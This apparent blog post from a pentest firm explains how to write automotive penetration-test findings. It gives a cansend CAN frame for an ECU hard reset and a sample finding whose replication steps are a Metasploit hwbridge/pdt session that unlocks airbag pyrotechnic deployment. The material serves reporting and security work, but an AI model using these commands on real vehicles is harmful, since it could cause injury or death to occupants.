Are you a car hacker and at the same time a penetration tester? Will then, you must be if you have stumbled upon this article. If not, I guess you are preparing to be one.
At Nullforge, we pride ourselves in an automated penetration test report so as not to give hassle to our clients and to our very own penetration testers. Yes we have our own tracker and we want to share how to write a good documentation in one of your findings especially if it is related to car hacking and automotive security.
The first thing to note when writing a penetration test report for an automotive client wherein the targets are the vehicles or cars, you need to treat the report the same as how you create a network or a web app penetration testing report.
To create a report that has an edge and so that the clients will not forget your company, you need to document the replication steps as easy as possible to follow. Always include a proof of concept. For Example:
1. Connect your hardware to the sensor that has two twisted wires (CAN Hi and CAN Low)
2. Execute the following command to send an ECU hard reset:
cansend can0 7DF#0211010000000000It should be clear and concise. An impact should also be highlighted if possible before the replication steps.
Since there is no secret at all because it is just like creating a normal pentest report, we will focus on how to create or document one finding as an example. Here is a sample documentation (this is just a sample):
Vulnerability Details
Vulnerability: Vehicle Authentication Mechanism Bypass or Gateway Bypass
CVSS: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:L/I:H/A:H
Description: Injecting UDS messages that result in vehicle manipulation, ECU Reset or getting the gateway to pass a message is a security issue. Sending UDS Requests via regular OBD socket or interface should be protected and filtered by the gateway.
Corrective Actions: Implement a security gateway that filters disallowed or malicious frames. Cross correlate and validate sensor values across multiple sensors that can improve the data integrity of CAN bus messages. The order of the messages from a single Electronic Control Unit (ECU) can be used to detect anomalies. CAN messages from the ECU should always be seen in a specific order as they are transmitted one after the other based on the priorities of messages.
Replication Steps
The airbag detonation algorithm allows injury to passenger-car occupants via predictable Security Access (SA) data to the internal CAN bus (or the OBD connector). It has been found that through the OBD-II port, you can send can frames to deploy airbags which should be filtered or not allowed in the OBD. Here is a successful unlock and prepped-to-deploy of pyrotechnic devices in a target vehicle using msf’s Pyrotechnical Device Deployment Tool (PDT) post module:
msf > use auxiliary/server/local_hwbridge
msf auxiliary(local_hwbridge) > set uripath /
uripath => /
msf auxiliary(local_hwbridge) > run
[*] Auxiliary module running as background job 0.
[*] Using URL: http://0.0.0.0:8080/
[*] Local IP: http://10.0.2.4:8080/
[*] Server started.
msf auxiliary(local_hwbridge) > use auxiliary/client/hwbridge/connect
msf auxiliary(connect) > run
[*] Attempting to connect to 127.0.0.1...
[*] Hardware bridge interface session 1 opened (127.0.0.1 -> 127.0.0.1) at 2017-12-17 10:41:27 -0600
[+] HWBridge session established
[*] HW Specialty: {"automotive"=>true} Capabilities: {"can"=>true, "custom_methods"=>true}
[!] NOTICE: You are about to leave the matrix. All actions performed on this hardware bridge
[!] could have real world consequences. Use this module in a controlled testing
[!] environment and with equipment you are authorized to perform testing on.
[*] Auxiliary module execution completed
msf auxiliary(connect) > sessions -i 1
[*] Starting interaction with 1...
hwbridge >
hwbridge > run post/hardware/automotive/pdt canbus=can0
[*] Gathering Data...
[*] VIN: 5555
[*] Loop info (1 pyrotechnic devices):
[*] 69 | battery clamp main battery
[*] | Deployment Status: Fail ()
[*] Number of PCUs in vehicle | 1
[*] Info About First PCU
[*] Address format this PCU(s) | 11 bit normal addressing
[*] Number of pyrotechnic charges | 1
[*] Version of ISO26021 standard | 1
[*] ACL type | CAN only
[*] ACL Type version | 1
[*]
[*] Switching to Diagnostic Session 0x04...
[*] Getting Security Access Seed...
[*] Success. Seed: ["01", "CF", "00", "00", "00"]
[*] Attempting to unlock device...
[*] Success!
[!] Warning! You are now able to start the deployment of airbags in this vehicle
[!] *** OCCUPANTS OF THE VEHICLE FACE POTENTIAL DEATH OR INJURY ***References:
https://www.cvedetails.com/cve/CVE-2017-14937/
https://www.researchgate.net/publication/321183727_Security_Evaluation_of_an_Airbag-ECU_by_Reusing_Threat_Modeling_Artefacts
And so there it is, for the replication steps: always make sure to point out where the attack surface is and what tools were used to create a proof of concept.
This is not only applicable for a pentest report but also when writing a good report for a bug bounty program. It is easy for the triager to replicate your findings if your report is detailed, easy, has a proof of concept and an impact.